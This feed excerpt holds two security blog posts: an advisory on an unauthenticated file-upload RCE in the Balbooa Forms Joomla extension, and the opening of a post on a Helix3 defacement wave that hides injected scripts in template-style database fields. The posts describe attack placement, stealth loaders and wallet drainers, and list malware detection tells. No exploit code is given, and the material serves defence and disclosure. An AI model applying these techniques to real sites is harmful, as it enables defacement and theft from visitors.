&lt;p&gt;Across the Balbooa Forms installs we can see, &lt;strong&gt;around seven in ten are now on 2.4.3.2&lt;/strong&gt;, almost all of them having moved within a day of the 18 August alert. Under one in ten is still on 2.4.3 or 2.4.3.1. That last group is the diligent one: they read the 31 July notice, updated inside a few days, and are exactly who the two new CVEs cover, because both records stop at 2.4.3.1.&lt;/p&gt;
&lt;p&gt;More seriously, &lt;strong&gt;roughly one install in four is still on 2.4.2.1 or below&lt;/strong&gt;, which means still exposed to &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65880/&quot;&gt;CVE-2026-65880&lt;/a&gt;, the 10.0 unauthenticated remote code execution fixed on 28 July. Those sites never actioned the last alert. Hardening is the least of their worries while a 10.0 remains open on them.&lt;/p&gt;
&lt;p&gt;For Balbooa Gallery, the wrinkle is the extension element. Balbooa renamed it from &lt;code&gt;com_bagallery&lt;/code&gt; to &lt;code&gt;com_gallery&lt;/code&gt; somewhere before the 2.5 line, and the two populations have not merged: every &lt;code&gt;com_gallery&lt;/code&gt; install we can see is on 2.4.1 or above, and every &lt;code&gt;com_bagallery&lt;/code&gt; install tops out at 2.4.0. If your Gallery install still reports &lt;code&gt;com_bagallery&lt;/code&gt;, confirm you are actually being offered the 2.5.1.1 update rather than assuming it, because an element rename is exactly the kind of thing that stops a Joomla update ever being offered, with no error to tell you so.&lt;/p&gt;
&lt;p&gt;Flagging all of this across a portfolio is part of the mySites.guru subscription: every connected Joomla site running Balbooa Forms below 2.4.3.2 or Balbooa Gallery below 2.5.1.1 is now flagged automatically, with the sites still exposed to the July remote code execution flagged separately and more severely.&lt;/p&gt;
&lt;h2&gt;Balbooa Forms Has Had Security Issues Before&lt;/h2&gt;
&lt;p&gt;This is not the first time Balbooa Forms has needed a security fix, which is worth knowing when you decide how urgently to act. The component has two prior SQL injection issues on record, &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-47930&quot;&gt;CVE-2021-47930&lt;/a&gt; and &lt;a href=&quot;https://www.cvedetails.com/cve/CVE-2025-49485/&quot;&gt;CVE-2025-49485&lt;/a&gt;, both reached through the form submission &lt;code&gt;id&lt;/code&gt; parameter. Different flaw, same lesson: the parts of a form builder that face anonymous visitors are the parts that need the hardest scrutiny.&lt;/p&gt;
&lt;p&gt;This is the nature of the tool, not a knock on Balbooa specifically: a form builder exists to accept input from people you do not know, and that job is hard to do safely. The credit here is that when the upload flaw was reported, Balbooa acted on the same day rather than sitting on it.&lt;/p&gt;
&lt;h2&gt;Form Builders Are a Recurring Attack Surface&lt;/h2&gt;
&lt;p&gt;If you manage Joomla or WordPress sites, treat every form-builder extension as a piece of your attack surface that deserves regular attention. The exact flaw fixed here, an unauthenticated file upload of a dangerous type, is &lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434&lt;/a&gt;, and it shows up across the form-builder category rather than in one vendor’s code.&lt;/p&gt;
&lt;p&gt;The clearest recent parallel is Convert Forms, another well-regarded Joomla form builder, which patched an unauthenticated file upload of the same class in late 2024 (&lt;a href=&quot;https://github.com/advisories/GHSA-8fcw-x22m-3qx7&quot;&gt;CVE-2024-40744&lt;/a&gt;, rated 9.8 critical). Look wider and the pattern holds: &lt;a href=&quot;https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/&quot;&gt;Ninja Forms on WordPress&lt;/a&gt; had its own file-upload CVE through the same AJAX-handler weakness. When a category of extension keeps producing the same kind of bug, the sensible response is not to distrust one vendor, it is to monitor the whole category.&lt;/p&gt;
&lt;h2&gt;How mySites.guru Caught This Without a Signature&lt;/h2&gt;
&lt;p&gt;If you already run sites through mySites.guru, this is the part worth knowing. We did not need a Balbooa-specific rule to catch this activity. mySites.guru watches for the behaviour, an anonymous visitor uploading an executable file, rather than a fingerprint of one particular extension’s bug.&lt;/p&gt;
&lt;p&gt;That generic detection is what flagged the suspicious upload in the first place, and it is the same logic that catches &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Page Builder CK&lt;/a&gt;, and JCE upload attempts. An attacker dropping a &lt;code&gt;.php&lt;/code&gt; file through a public form looks the same regardless of which extension left the door open, so we can catch new bugs of this shape before anyone has written a rule naming them. Signature-based tools only see an attack once someone has described it. Behaviour-based detection sees it the first time it happens.&lt;/p&gt;
&lt;p&gt;If a hostile file does get through, the &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;suspect content tool&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;backdoor and hacked-file detection&lt;/a&gt; find it across every connected site, matching it against known malware hashes and thousands of code patterns. Anything flagged can be sent for &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; that explains in plain English what the file does.&lt;/p&gt;
&lt;h2&gt;How Do I Find Every Balbooa Forms Site I Manage?&lt;/h2&gt;
&lt;p&gt;The first question after any extension security release is the awkward one: which of my sites actually run this? Up to about ten sites, you can log in to each Joomla admin and check the installed extensions list. Past that, you need a single view.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template, and framework on every Joomla and WordPress site in your account. You &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;search for Balbooa Forms once&lt;/a&gt; and get back every connected site running it, the version each one is on, and whether an update is available. No logging into forty admin panels one at a time.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View every Balbooa Forms install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for Balbooa Forms across every connected Joomla site and filter for anything on 2.4.0 or earlier to find the installs that still need updating. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Across the Joomla sites we monitor, the same thing is true of Balbooa Forms as of most extensions after a quiet security release: a lot of installs are running older versions and no one has updated yet. That gap between “a fix exists” and “my sites have it” is the whole reason this post exists.&lt;/p&gt;
&lt;h2&gt;Bulk Updating Balbooa Forms Across Every Site&lt;/h2&gt;
&lt;p&gt;Once you know which sites need it, the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; handles the rollout. Tick the sites on an old version, push the update to all of them from one screen. The same routine covers any Joomla extension, plugin, or core update, so the workflow you set up once works for the next security release too. You can also switch on &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;automatic updates for any Joomla extension&lt;/a&gt; so future Balbooa Forms releases install without you lifting a finger.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;For agencies managing dozens of Joomla sites&lt;/p&gt;
  &lt;p&gt;The patch is the easy bit. Knowing which client sites run Balbooa Forms, and getting the update onto all of them, is the work. &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;See how mySites.guru manages multiple Joomla sites&lt;/a&gt; from one screen.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If a particular site cannot be updated right away, unpublishing any public Balbooa Forms form that accepts file attachments takes the vulnerable upload handler out of reach while you schedule a maintenance window.&lt;/p&gt;
&lt;h2&gt;How Do I Check a Balbooa Forms Site for Tampering?&lt;/h2&gt;
&lt;p&gt;Updating closes the door. It does not tell you whether anyone walked through it first. Because the flaw allowed an anonymous visitor to drop a file and run it, a site that was on 2.4.0 or earlier could already have been touched, and you should check before you assume it is clean.&lt;/p&gt;
&lt;p&gt;Three checks, in order of value:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Look in the upload folder. By default Balbooa Forms stores attachments under &lt;code&gt;images/baforms/uploads/&lt;/code&gt;, in a subfolder per form. Anything there that is not an image or a document, and above all anything ending in &lt;code&gt;.php&lt;/code&gt;, is a red flag. On a single site you can run &lt;code&gt;find images/baforms/uploads -name &apos;*.php&apos; -type f&lt;/code&gt; over SSH.&lt;/li&gt;
&lt;li&gt;Check for rogue administrator accounts. Code execution is a fast route to a hidden Super User. In your Joomla Users list, sort by registration date and treat any administrator account you do not recognise as suspect.&lt;/li&gt;
&lt;li&gt;Hunt for modified and unfamiliar files. A foothold is a perfect moment to plant persistence elsewhere. Look for recently changed PHP files and for executable files sitting where uploads should not contain code.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;mySites.guru runs all three of these across every connected site at once. The suspect content tool and hacked-file detection surface the stray PHP files, the extension and user inventory sorts every account across every site by registration date, and &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerting&lt;/a&gt; tells you the moment a new file appears or an unfamiliar admin logs in, rather than at the next manual check.&lt;/p&gt;
&lt;p&gt;If any of that turns something up, the &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla hacked recovery guide&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;how to fix a hacked site&lt;/a&gt; walkthrough cover the cleanup, and &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; is the done-for-you option if you would rather hand it over.&lt;/p&gt;
&lt;h2&gt;Stay Ahead of the Next One&lt;/h2&gt;
&lt;p&gt;This is one extension on one day. There will be another, because Joomla runs on thousands of third-party extensions and the ones that accept input from anonymous visitors keep producing bugs like this. The hard part is never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before an attacker does, and doing that for every extension across every site you look after.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does for you. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known vulnerability, and lets you push the update to all of them from one screen. When something like this Balbooa Forms flaw appears, you see exactly which sites are exposed in seconds instead of logging into forty admin panels to find out. And because the monitoring watches for the behaviour rather than a signature, it catches new upload attacks of this shape before anyone has written a rule naming them.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;CVE Record and Disclosure Timeline&lt;/h2&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;10.0&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;Critical&lt;/span&gt;
        &lt;span&gt;The maximum possible score&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;There is no worse rating a vulnerability can get. It is unauthenticated, remotely exploitable in a single request, needs no user interaction, and ends in full remote code execution, so every metric that makes a flaw dangerous is at its worst here.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login needed&lt;/span&gt;
        &lt;span&gt;Exploitable over the internet&lt;/span&gt;
        &lt;span&gt;No user interaction&lt;/span&gt;
        &lt;span&gt;Full remote code execution&lt;/span&gt;
        &lt;span&gt;Actively exploited&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This flaw is now tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56291/&quot;&gt;CVE-2026-56291&lt;/a&gt;, assigned by the Joomla CNA, the body that assigns identifiers for Joomla and its extensions, and crediting Phil Taylor of mySites.guru as the reporter. It is CWE-434, unrestricted upload of a file with a dangerous type, reached by an anonymous visitor over the network in a single request, with no privileges and no user interaction, and it ends in full remote code execution. On CVSS 4.0 that profile scores 10.0, the maximum, the same score and the same vector as the near-identical &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Page Builder CK flaw&lt;/a&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE-2026-56290&lt;/a&gt;), the CVE assigned one number earlier for the same class of bug.&lt;/p&gt;













































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56291/&quot;&gt;CVE-2026-56291&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Component&lt;/td&gt;&lt;td&gt;Balbooa Forms (&lt;code&gt;com_baforms&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;Balbooa&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Unauthenticated arbitrary file upload to remote code execution&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;10.0 (critical), &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CWE&lt;/td&gt;&lt;td&gt;CWE-434 (Unrestricted Upload of File with Dangerous Type)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finder&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;Up to and including 2.4.0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;2.4.1, released 9 July 2026. &lt;strong&gt;Minimum safe version is now 2.4.3.2&lt;/strong&gt; (18 August 2026), after 2.4.3 fixed a second, unrelated unauthenticated RCE, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65880/&quot;&gt;CVE-2026-65880&lt;/a&gt;, that affected 2.4.1 and 2.4.2, 2.4.3.1 added administrator-area hardening, and 2.4.3.2 fixed &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67364/&quot;&gt;CVE-2026-67364&lt;/a&gt; (pre-auth PHP code injection, 10.0) and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67363/&quot;&gt;CVE-2026-67363&lt;/a&gt; (pre-auth payment amount tampering, 7.7)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The disclosure ran on a single-day cycle from evidence to fix, and the &lt;a href=&quot;#timeline&quot;&gt;full timeline is at the foot of this post&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07-08&lt;/strong&gt; A customer&apos;s abuse report shows the flaw already being exploited A mySites.guru customer receives a Hetzner abuse report for a live Joomla site and brings us the raw access log. We trace the POST to the Balbooa Forms upload handler, confirm the missing authentication and file-type checks in the code, and reproduce the full chain locally. We disclose it to Balbooa the same day and the vendor replies the same day.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-09&lt;/strong&gt; Balbooa ships Forms 2.4.1 and CVE-2026-56291 is assigned The fix closes the flaw at four layers: a server-side extension allow-list, a MIME type option, forced server-side filenames and a CSRF token check. Balbooa credits Phil Taylor as the reporter. No proof of concept is published.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-28&lt;/strong&gt; 2.4.3 closes a second unauthenticated RCE that 2.4.1 did not CVE-2026-65880, through the Signature field, affects 2.4.1 and 2.4.2, so patching against the flaw in this post was no longer enough. It is not our finding; Balbooa credit other reporters.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-31&lt;/strong&gt; 2.4.3.1 ships as security hardening Described by the vendor as administrator-area only. No CVE was assigned to it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-18&lt;/strong&gt; 2.4.3.2 is published as routine hardening and is not Confirmed on 19 August as CVE-2026-67364, a pre-authentication PHP code injection scoring 10.0, and CVE-2026-67363, pre-authentication payment tampering at 7.7. Both affect 1.0.0 to 2.4.3.1, so 2.4.3 and 2.4.3.1 are vulnerable too. The minimum safe version is 2.4.3.2, not 2.4.1.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Read &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;the full roundup of a dozen Joomla disclosures we made in a single month&lt;/a&gt;, of which this Balbooa Forms flaw was one.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434: Unrestricted Upload of File with Dangerous Type&lt;/a&gt; - the official definition of this weakness class from MITRE.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html&quot;&gt;OWASP File Upload Cheat Sheet&lt;/a&gt; - the developer&apos;s checklist for accepting uploads safely: allow-lists, signature checks, renaming, and storing outside the web root.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.github.io/www-community/vulnerabilities/Unrestricted_File_Upload&quot;&gt;OWASP: Unrestricted File Upload&lt;/a&gt; - a concise overview of the risk and the defences.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/web-security/file-upload&quot;&gt;PortSwigger Web Security Academy: File upload vulnerabilities&lt;/a&gt; - a neutral, in-depth reference on how these flaws work and how to prevent them.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Securing_Joomla_extensions&quot;&gt;Securing Joomla extensions&lt;/a&gt; - Joomla&apos;s own guidance for developers, including safe file handling with &lt;code&gt;JFilterInput&lt;/code&gt; and &lt;code&gt;JFile::makeSafe()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/cotton-cloud-incomplete-security-fix/&quot;&gt;Cotton Cloud patched the login, then the data&lt;/a&gt; - a Joomla file store where the first fix closed the anonymous route and left every registered user able to reach other people&apos;s files.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>balbooa</category><category>file-upload</category><category>baforms</category><enclosure url="https://mysites.guru/img/og/blog/balbooa-forms-unauthenticated-file-upload-flaw.png" length="0" type="image/png"/></item><item><title>The Helix3 Defacement Lives in Your Database, Not Your Files</title><link>https://mysites.guru/blog/helix3-antonkill-defacement-wave/</link><guid isPermaLink="true">https://mysites.guru/blog/helix3-antonkill-defacement-wave/</guid><description>The Hacked by AntonKill defacement hits Joomla sites via Helix3, hiding in the database where file scanners never look. Clean it in one click.</description><pubDate>Wed, 08 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A Joomla site you manage shows a full-screen skull and the words “Hacked by AntonKill”. You do the obvious thing: run a malware scan, pull the files over SFTP, maybe grep the whole web root for anything suspicious. It all comes back clean. The files are fine. The skull is still there.&lt;/p&gt;
&lt;p&gt;You are not missing anything. The defacement is not in your files. It is in your database.&lt;/p&gt;
&lt;p&gt;Since around 5 July 2026, an automated botnet has been defacing Joomla sites through JoomShaper’s Helix3 template framework, tagging them “Hacked by AntonKill” or “Hacked by trenggalek6etar”. The flaw it exploits, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-49049/&quot;&gt;CVE-2026-49049&lt;/a&gt;, was one we reported and &lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;JoomShaper patched in Helix3 3.1.1 on 29 June&lt;/a&gt;. The mass exploitation started about a week later, which is the pattern we see over and over: a fix ships, most sites do not apply it, and the window between public patch and public botnet is measured in days.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The Hacked by AntonKill defacement: a dark full-screen page with a skull and crossbones, a cyan and magenta glitch bar, and the text HACKED BY ANTONKILL&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1576px) 1576px, 100vw&quot; width=&quot;1576&quot; height=&quot;874&quot; src=&quot;https://mysites.guru/_astro/helix3-antonkill-defacement-wave-screenshot.CVH-FgSi_Z20Vmid.webp&quot; srcset=&quot;https://mysites.guru/_astro/helix3-antonkill-defacement-wave-screenshot.CVH-FgSi_ZdnRAq.webp 640w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-screenshot.CVH-FgSi_qDjpK.webp 750w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-screenshot.CVH-FgSi_VpNOd.webp 828w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-screenshot.CVH-FgSi_1ntt8K.webp 1080w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-screenshot.CVH-FgSi_ZqqeJc.webp 1280w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-screenshot.CVH-FgSi_Z20Vmid.webp 1576w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;: The “Hacked by AntonKill” defacement wave exploits an unauthenticated flaw in the Helix3 framework (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-49049/&quot;&gt;CVE-2026-49049&lt;/a&gt;) and injects code into the Joomla database, specifically the &lt;code&gt;params&lt;/code&gt; of your template style, not into a file. That is why on-disk malware scans and clean-file restores come back clean while the site is still defaced. mySites.guru’s Helix3 Custom Code Hack tool finds the injected code in every template style and blanks it in one click, then you update both Helix3 plugins to 3.1.2 to stop it coming back. If you would rather do it by hand, the manual steps are further down. And because the same flaw can plant a silent Web3 wallet drainer instead of a visible skull, a clean-looking site is not proof you were missed.&lt;/p&gt;
&lt;h2&gt;Why Your File Scan Came Back Clean&lt;/h2&gt;
&lt;p&gt;The malicious code is stored in the Joomla database, not on the filesystem. When the attack succeeds, it writes JavaScript into the &lt;code&gt;params&lt;/code&gt; column of the &lt;code&gt;#__template_styles&lt;/code&gt; table, inside the Helix3 template’s Custom Code fields: Custom JavaScript, Custom CSS, and “Before &lt;code&gt;&amp;lt;/head&amp;gt;&lt;/code&gt;”. Every page that loads that template style then renders the attacker’s script, which paints the skull over your content.&lt;/p&gt;
&lt;p&gt;This is the whole reason the standard cleanup playbook fails here. File-integrity monitoring compares files on disk. On-disk malware scanners read files on disk. A clean-file restore replaces files on disk. None of them look at a &lt;code&gt;params&lt;/code&gt; column in a database table, so all three tell you the site is clean while the defacement is served on every page load. As the German cleanup firm that documented this wave put it, “the malicious code does not end up in a file, but directly in the database.”&lt;/p&gt;
&lt;p&gt;If you have ever spent an hour re-uploading core files to a defaced Joomla site and watched the defacement come through anyway, this is why. You were cleaning the wrong layer.&lt;/p&gt;
&lt;h3&gt;The Version You Cannot See Is Worse&lt;/h3&gt;
&lt;p&gt;The skull at least tells you something is wrong. The more dangerous use of the same flaw does not deface anything. Instead of a full-page takeover, the attacker writes a stealth loader into those same custom-code fields: a small script that leaves your page looking completely normal while it pulls its real payload at runtime. In this wave that payload has been fake “I’m not a robot” landing pages and Web3 wallet drainers that empty a visitor’s crypto wallet when they connect it.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;A fake I&apos;m not a robot verification box mimicking Google reCAPTCHA, the kind of lure the Helix3 stealth loader serves in place of a visible defacement&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1216px) 1216px, 100vw&quot; width=&quot;1216&quot; height=&quot;324&quot; src=&quot;https://mysites.guru/_astro/helix3-antonkill-defacement-wave-fake-captcha.BtUsEdTJ_LwWdA.webp&quot; srcset=&quot;https://mysites.guru/_astro/helix3-antonkill-defacement-wave-fake-captcha.BtUsEdTJ_20FcvM.webp 640w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-fake-captcha.BtUsEdTJ_1UJYjA.webp 750w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-fake-captcha.BtUsEdTJ_Z16olw0.webp 828w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-fake-captcha.BtUsEdTJ_Z22ReBi.webp 1080w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-fake-captcha.BtUsEdTJ_LwWdA.webp 1216w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;That box is the bait. It looks like the reCAPTCHA challenge people click through without thinking, but the click triggers the next stage of the attack rather than verifying anything. So a clean-looking homepage is not proof you were skipped. If a site runs Helix3 on a vulnerable version, the custom-code fields need checking whether or not a skull ever appeared.&lt;/p&gt;
&lt;h2&gt;Clean It in One Click With the Helix3 Custom Code Hack Tool&lt;/h2&gt;
&lt;p&gt;We built a dedicated tool for exactly this attack, and it is the fastest way to clean a site. On every snapshot, mySites.guru scans every template style on the site, not only the ones named “helix”, since Helix3-based templates ship under many names, and inspects the four custom-code fields the exploit overwrites: Before &lt;code&gt;&amp;lt;/head&amp;gt;&lt;/code&gt;, Before &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt;, Custom CSS, and Custom JavaScript. The &lt;a href=&quot;https://mysites.guru/joomla-malware-scanner/&quot;&gt;Joomla malware scanner&lt;/a&gt; page covers the wider malware scanning.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The About the Helix3 Custom Code Hack tool panel in mySites.guru, marked Actively Exploited, explaining that the Helix3 onAjaxHelix3 handler let anonymous visitors overwrite template style parameters, and describing what the tool checks and how the one-click clean-up works&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1634px) 1634px, 100vw&quot; width=&quot;1634&quot; height=&quot;1638&quot; src=&quot;https://mysites.guru/_astro/helix3-antonkill-defacement-wave-tool-about.C6FvLI9O_1T1TU9.webp&quot; srcset=&quot;https://mysites.guru/_astro/helix3-antonkill-defacement-wave-tool-about.C6FvLI9O_1yRr08.webp 640w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-tool-about.C6FvLI9O_Z275wGx.webp 750w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-tool-about.C6FvLI9O_1SJHOJ.webp 828w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-tool-about.C6FvLI9O_ZBcQxk.webp 1080w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-tool-about.C6FvLI9O_Z11Pxpn.webp 1280w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-tool-about.C6FvLI9O_1T1TU9.webp 1634w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;A style is only flagged on unmistakable malware tells: the boast phrase a defacement signs itself with, a script that replaces the page body or rewrites the page title, a hard-coded title tag injected into the head, or the loader fingerprints that give away the silent variant (a script sourced from an inline &lt;code&gt;data:&lt;/code&gt; URI, code run through &lt;code&gt;eval&lt;/code&gt; or &lt;code&gt;atob&lt;/code&gt;, or an on-chain blockchain call). Your own analytics snippets, meta tags, and custom CSS in those fields are left alone.&lt;/p&gt;
&lt;p&gt;When it finds something, one clean button blanks all four custom-code fields on every flagged style, re-verified server-side first, and touches nothing else in the template. When the site is clear, you get a plain result.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The Helix3 Custom Code Hack tool showing a green tick and No malicious template custom code found, with a note that this does not prove the site is clean and buttons to start a new audit or mass-update extensions&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1924px) 1924px, 100vw&quot; width=&quot;1924&quot; height=&quot;1040&quot; src=&quot;https://mysites.guru/_astro/helix3-antonkill-defacement-wave-tool-clean.CwBzLAwA_Z2agI8Q.webp&quot; srcset=&quot;https://mysites.guru/_astro/helix3-antonkill-defacement-wave-tool-clean.CwBzLAwA_Z1VnLgQ.webp 640w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-tool-clean.CwBzLAwA_2sd2NO.webp 750w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-tool-clean.CwBzLAwA_Zs82Kv.webp 828w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-tool-clean.CwBzLAwA_Z1FHqfL.webp 1080w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-tool-clean.CwBzLAwA_R5zBJ.webp 1280w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-tool-clean.CwBzLAwA_ZGBVMX.webp 1668w, https://mysites.guru/_astro/helix3-antonkill-defacement-wave-tool-clean.CwBzLAwA_Z2agI8Q.webp 1924w&quot; /&gt;&lt;/p&gt;
